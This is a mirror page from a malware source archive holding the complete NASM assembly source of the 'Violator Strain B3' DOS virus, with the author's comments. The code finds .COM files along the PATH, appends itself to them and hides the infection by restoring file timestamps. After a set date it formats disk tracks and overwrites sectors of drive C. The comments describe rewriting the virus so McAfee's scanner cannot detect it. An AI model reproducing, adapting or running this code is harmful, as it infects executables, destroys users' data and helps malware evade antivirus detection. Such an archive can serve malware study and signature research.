mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
4b9382ddbc
push
442 lines
14 KiB
NASM
442 lines
14 KiB
NASM
;*****************************************************************************
|
||
; Violator Strain B3
|
||
;*****************************************************************************
|
||
;
|
||
; Notes: (Oct.24.9O)
|
||
; ------------------
|
||
;
|
||
; (TJA) Bah! Sorry I released this late. Wanted to make sure all of the bugs
|
||
; and shit were fixed...
|
||
;
|
||
; Well, I had to rewrite this one so that McAffee can't scan for it. Took me
|
||
; a while, but I just re-did it from scratch and then after doing some
|
||
; research, it turned out he was looking for something in the Data Segment.
|
||
; So I just re-arranged a few things and voila! Instant unscannable virus!
|
||
;
|
||
; Also, for the INT filtering routine, I eliminated the extra bytes that do
|
||
; a [MOV marker,1] where it was unnecessary. After I issue it once, I don't
|
||
; have to keep MOVing it because it's still in memory right?
|
||
;
|
||
; Silly me wrote the original filter routine after I came home drunk from a
|
||
; party, so I didn't take that into account. So we are one step close to having
|
||
; K-K00L thrify kode...
|
||
;
|
||
; I also took out that stupid MOV_CX macro. It was bugging the shit out of me
|
||
; becuase it served no purpose other than taking up extra space. MOV CX,virlen
|
||
; does the exact same thing...
|
||
;
|
||
; Other Notes
|
||
; -----------
|
||
;
|
||
; Thanx to RABID Pagan for some totally mondo ideas (Mutating Data Segment...)
|
||
; I think I'll be popping that into strain B4
|
||
;
|
||
; Also, to Rick Dangerous, about Violator/2 TSR. I found the problem with your
|
||
; TSR program. It was messy as hell!!! The CALL virus_begin was causing the
|
||
; problems. I'll rewrite the TSR for ya ala THETSR methodology.
|
||
;
|
||
;*****************************************************************************
|
||
;
|
||
; Written by The High Evolutionary
|
||
;
|
||
; Copyright (c) 199O by The RABID Nat'nl Development Corp.
|
||
; October, 24th, 199O
|
||
;*****************************************************************************
|
||
|
||
CODE SEGMENT
|
||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||
ORG $+0100H
|
||
|
||
VCODE: JMP virus
|
||
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
|
||
v_start equ $
|
||
|
||
|
||
virus: PUSH CX
|
||
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
|
||
CLD
|
||
MOV SI,DX
|
||
ADD SI,first_3
|
||
MOV DI,OFFSET 100H
|
||
MOV CX,3
|
||
REPZ MOVSB
|
||
MOV SI,DX
|
||
MOV AH,30H
|
||
MOV marker,1
|
||
CALL filter
|
||
CMP AL,0
|
||
JNZ year_check
|
||
JMP quit
|
||
|
||
filter: CMP marker,1
|
||
JE int_21
|
||
CMP marker,2
|
||
JE int_13
|
||
CMP marker,3
|
||
JE int_26
|
||
RET
|
||
|
||
int_21: INT 21H
|
||
RET
|
||
|
||
int_13: INT 13h
|
||
RET
|
||
|
||
int_26: INT 26h
|
||
RET
|
||
|
||
year_check:
|
||
MOV AH,2AH ; Get date info
|
||
MOV marker,1
|
||
CALL filter
|
||
CMP CX,year
|
||
JGE month_check
|
||
JMP infect
|
||
|
||
month_check:
|
||
CMP DH,month
|
||
JGE day_check
|
||
JMP infect
|
||
|
||
day_check:
|
||
CMP DL,day
|
||
JGE kill_13
|
||
JMP infect
|
||
|
||
kill_13:
|
||
MOV Al,counter
|
||
CALL ala_13
|
||
CMP counter,27
|
||
JE re_format
|
||
INC counter
|
||
LOOP kill_13
|
||
|
||
ala_13: MOV CH,0
|
||
MOV DL,counter
|
||
MOV AH,05h
|
||
MOV DH,0
|
||
MOV marker,2
|
||
CALL filter
|
||
RET
|
||
;
|
||
; I changed this routine, becuase in the original Violator, I rewrote the
|
||
; data segment by calling it for the INT 26. All I did this time, was just
|
||
; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
|
||
; the Violator identifier string will be written everywhere... Kinda neat!
|
||
;
|
||
|
||
re_format:
|
||
PUSHF
|
||
MOV BX,OFFSET intro ; Changed it here...
|
||
MOV DX,00
|
||
MOV CX,800
|
||
MOV AL,2
|
||
MOV marker,3
|
||
CALL filter
|
||
POPF
|
||
|
||
infect: PUSH ES
|
||
MOV AH,2FH
|
||
MOV marker,1
|
||
CALL filter
|
||
MOV [SI+old_dta],BX
|
||
MOV [SI+old_dts],ES
|
||
POP ES
|
||
MOV DX,dta
|
||
ADD DX,SI
|
||
MOV AH,1AH
|
||
CALL filter
|
||
PUSH ES
|
||
PUSH SI
|
||
MOV ES,DS:2CH
|
||
MOV DI,0
|
||
|
||
find_path:
|
||
POP SI
|
||
PUSH SI
|
||
ADD SI,env_str ;Point to "PATH=" string in data area
|
||
LODSB
|
||
MOV CX,OFFSET 8000H
|
||
REPNZ SCASB
|
||
MOV CX,4
|
||
|
||
check_next_4:
|
||
LODSB
|
||
SCASB
|
||
JNZ find_path
|
||
LOOP check_next_4
|
||
POP SI
|
||
POP ES
|
||
MOV [SI+path_ad],DI
|
||
MOV DI,SI
|
||
ADD DI,wrk_spc
|
||
MOV BX,SI
|
||
ADD SI,wrk_spc
|
||
MOV DI,SI
|
||
JMP SHORT slash_ok
|
||
|
||
set_subdir:
|
||
CMP WORD PTR [SI+path_ad],0
|
||
JNZ found_subdir
|
||
JMP all_done
|
||
|
||
found_subdir:
|
||
PUSH DS
|
||
PUSH SI
|
||
MOV DS,ES:2CH ;DS points to environment segment
|
||
MOV DI,SI
|
||
MOV SI,ES:[DI+path_ad] ;SI = PATH address
|
||
ADD DI,wrk_spc ;DI points to file name workspace
|
||
|
||
move_subdir:
|
||
LODSB ;Get character
|
||
CMP AL,';' ;Is it a ';' delimiter?
|
||
JZ moved_one ;Yes, found another subdirectory
|
||
CMP AL,0 ;End of PATH string?
|
||
JZ moved_last_one ;Yes
|
||
STOSB ;Save PATH marker into [DI]
|
||
JMP SHORT move_subdir
|
||
|
||
moved_last_one:
|
||
MOV SI,0
|
||
|
||
moved_one:
|
||
POP BX ;Pointer to virus data area
|
||
POP DS ;Restore DS
|
||
MOV [BX+path_ad],SI ;Address of next subdirectory
|
||
NOP
|
||
CMP CH,'\' ;Ends with "\"?
|
||
JZ slash_ok ;If yes
|
||
MOV AL,'\' ;Add one, if not
|
||
STOSB
|
||
|
||
slash_ok:
|
||
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
|
||
MOV SI,BX ;Restore SI
|
||
ADD SI,f_spec ;Point to "*.COM"
|
||
MOV CX,6
|
||
REPZ MOVSB ;Move "*.COM",0 to workspace
|
||
MOV SI,BX
|
||
MOV AH,4EH
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI ;DX points to "*.COM" in workspace
|
||
MOV CX,3 ;Attributes of Read Only or Hidden
|
||
CALL filter
|
||
JMP SHORT find_first
|
||
|
||
find_next:
|
||
MOV AH,4FH
|
||
CALL filter
|
||
|
||
find_first:
|
||
JNB found_file ;Jump if we found it
|
||
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
||
|
||
found_file:
|
||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||
AND AL,1CH
|
||
CMP AL,1CH
|
||
JZ find_next ;If so, go find another file
|
||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
|
||
JA find_next ;If too long, find another one
|
||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||
JB find_next ;Then go find another one
|
||
MOV DI,[SI+nam_ptr] ;DI points to file name
|
||
PUSH SI ;Save SI
|
||
ADD SI,dta_nam ;Point SI to file name
|
||
|
||
more_chars:
|
||
LODSB
|
||
STOSB
|
||
CMP AL,0
|
||
JNZ more_chars ;Move characters until we find a 00
|
||
POP SI
|
||
MOV AX,OFFSET 4300H
|
||
MOV DX,wrk_spc ;Point to \path\name in workspace
|
||
ADD DX,SI
|
||
CALL filter
|
||
MOV [SI+old_att],CX ;Save the old attributes
|
||
MOV AX,OFFSET 4301H ;Set attributes
|
||
AND CX,OFFSET 0FFFEH
|
||
MOV DX,wrk_spc ;Offset of \path\name in workspace
|
||
ADD DX,SI ;Point to \path\name
|
||
CALL filter
|
||
MOV AX,OFFSET 3D02H ;Read/Write
|
||
MOV DX,wrk_spc ;Offset to \path\name in workspace
|
||
ADD DX,SI ;Point to \path\name
|
||
CALL filter
|
||
JNB opened_ok ;If file was opened OK
|
||
JMP fix_attr ;If it failed, restore the attributes
|
||
|
||
opened_ok:
|
||
INC times ; INC the number of times we infected
|
||
MOV BX,AX
|
||
MOV AX,OFFSET 5700H
|
||
CALL filter
|
||
MOV [SI+old_tim],CX ;Save file time
|
||
MOV [SI+ol_date],DX ;Save the date
|
||
MOV AH,2CH
|
||
CALL filter
|
||
MOV AH,3FH
|
||
MOV CX,3
|
||
MOV DX,first_3
|
||
ADD DX,SI
|
||
CALL filter
|
||
JB fix_time_stamp ;Quit, if read failed
|
||
CMP AX,3 ;Were we able to read all 3 bytes?
|
||
JNZ fix_time_stamp ;Quit, if not
|
||
MOV AX,OFFSET 4202H
|
||
MOV CX,0
|
||
MOV DX,0
|
||
CALL filter
|
||
JB fix_time_stamp ;Quit, if it didn't work
|
||
MOV CX,AX ;DX:AX (long int) = file size
|
||
SUB AX,3 ;Subtract 3 (DX must be 0, here)
|
||
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst
|
||
ADD CX,OFFSET c_len_y
|
||
MOV DI,SI ;Point DI to virus data area
|
||
SUB DI,OFFSET c_len_x
|
||
MOV [DI],CX
|
||
MOV AH,40H
|
||
MOV CX,virlen ;Bah! Took out the stupid macro!!!
|
||
MOV DX,SI
|
||
SUB DX,OFFSET codelen ;Length of virus code, gives starting
|
||
;address of virus code in memory
|
||
CALL filter
|
||
JB fix_time_stamp ;Jump if error
|
||
CMP AX,OFFSET virlen ;All bytes written?
|
||
JNZ fix_time_stamp ;Jump if error
|
||
MOV AX,OFFSET 4200H
|
||
MOV CX,0
|
||
MOV DX,0
|
||
CALL filter
|
||
JB fix_time_stamp ;Jump if error
|
||
MOV AH,40H
|
||
MOV CX,3
|
||
MOV DX,SI ;Virus data area
|
||
ADD DX,jmp_op ;Point to the reconstructed JMP
|
||
CALL filter
|
||
|
||
fix_time_stamp:
|
||
MOV DX,[SI+ol_date] ;Old file date
|
||
MOV CX,[SI+old_tim] ;Old file time
|
||
AND CX,OFFSET 0FFE0H
|
||
OR CX,1CH
|
||
MOV AX,OFFSET 5701H
|
||
CALL filter
|
||
MOV AH,3EH
|
||
CALL filter
|
||
|
||
fix_attr:
|
||
MOV AX,OFFSET 4301H
|
||
MOV CX,[SI+old_att] ;Old Attributes
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI ;DX points to \path\name in workspace
|
||
CALL filter
|
||
|
||
all_done:
|
||
PUSH DS
|
||
MOV AH,1AH
|
||
MOV DX,[SI+old_dta]
|
||
MOV DS,[SI+old_dts]
|
||
CALL filter
|
||
POP DS
|
||
|
||
|
||
;*************************************************************************
|
||
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
|
||
; in since the address in a real JMP 100 is an offset, and the offset
|
||
; varies from one infected file to the next. By PUSHing an 0100H onto the
|
||
; stack, we can RET to address 0100H just as though we JMPed there.
|
||
;************************************************************************
|
||
|
||
quit:
|
||
POP CX
|
||
XOR AX,AX
|
||
XOR BX,BX
|
||
XOR DX,DX
|
||
XOR SI,SI
|
||
MOV DI,OFFSET 0100H
|
||
PUSH DI
|
||
XOR DI,DI
|
||
RET 0FFFFH
|
||
|
||
vir_dat EQU $
|
||
|
||
year DW 1990 ;Set year to 1990
|
||
;
|
||
; MASM considers a DB value greater than 255 illegal. So I just make the year
|
||
; into a Data Word. That way, I can still keep the year as part of the data
|
||
; segment for easier modification.
|
||
;
|
||
; Just for anyone who is curious out there...
|
||
;
|
||
month DB 12 ;Set month to December
|
||
day DB 25 ;Set day to Christmas
|
||
intro DB 'Violator Strain B3 - RABID Nat''nl Development Corp.'
|
||
marker DB 0 ;Marker for INT purposes
|
||
counter DB 2 ;Counter for drives
|
||
times DB 0
|
||
olddta_ DW 0
|
||
olddts_ DW 0
|
||
oldtim_ DW 0
|
||
oldate_ DW 0
|
||
oldatt_ DW 0
|
||
first3_ EQU $
|
||
INT 20H
|
||
NOP
|
||
jmpop_ DB 0E9H
|
||
jmpdsp_ DW 0
|
||
pathad_ DW 0
|
||
namptr_ DW 0
|
||
envstr_ DB 'PATH='
|
||
fspec_ DB '*.COM',0
|
||
wrkspc_ DB 40h dup (0)
|
||
dta_ DB 16h dup (0)
|
||
dtatim_ DW 0,0
|
||
dtalen_ DW 0,0
|
||
dtanam_ DB 0Dh dup (0)
|
||
lst_byt EQU $
|
||
|
||
virlen = lst_byt - v_start
|
||
codelen = vir_dat - v_start
|
||
c_len_x = vir_dat - v_start - 2
|
||
c_len_y = vir_dat - v_start + 100H
|
||
old_dta = olddta_ - vir_dat
|
||
old_dts = olddts_ - vir_dat
|
||
old_tim = oldtim_ - vir_dat
|
||
ol_date = oldate_ - vir_dat
|
||
old_att = oldatt_ - vir_dat
|
||
first_3 = first3_ - vir_dat
|
||
jmp_op = jmpop_ - vir_dat
|
||
jmp_dsp = jmpdsp_ - vir_dat
|
||
f_spec = fspec_ - vir_dat
|
||
path_ad = pathad_ - vir_dat
|
||
nam_ptr = namptr_ - vir_dat
|
||
env_str = envstr_ - vir_dat
|
||
wrk_spc = wrkspc_ - vir_dat
|
||
dta = dta_ - vir_dat
|
||
dta_tim = dtatim_ - vir_dat
|
||
dta_len = dtalen_ - vir_dat
|
||
dta_nam = dtanam_ - vir_dat
|
||
|
||
CODE ENDS
|
||
END VCODE
|
||
|
||
; The End ? Stay tuned, true believers, for Violator Strain Be-fore... |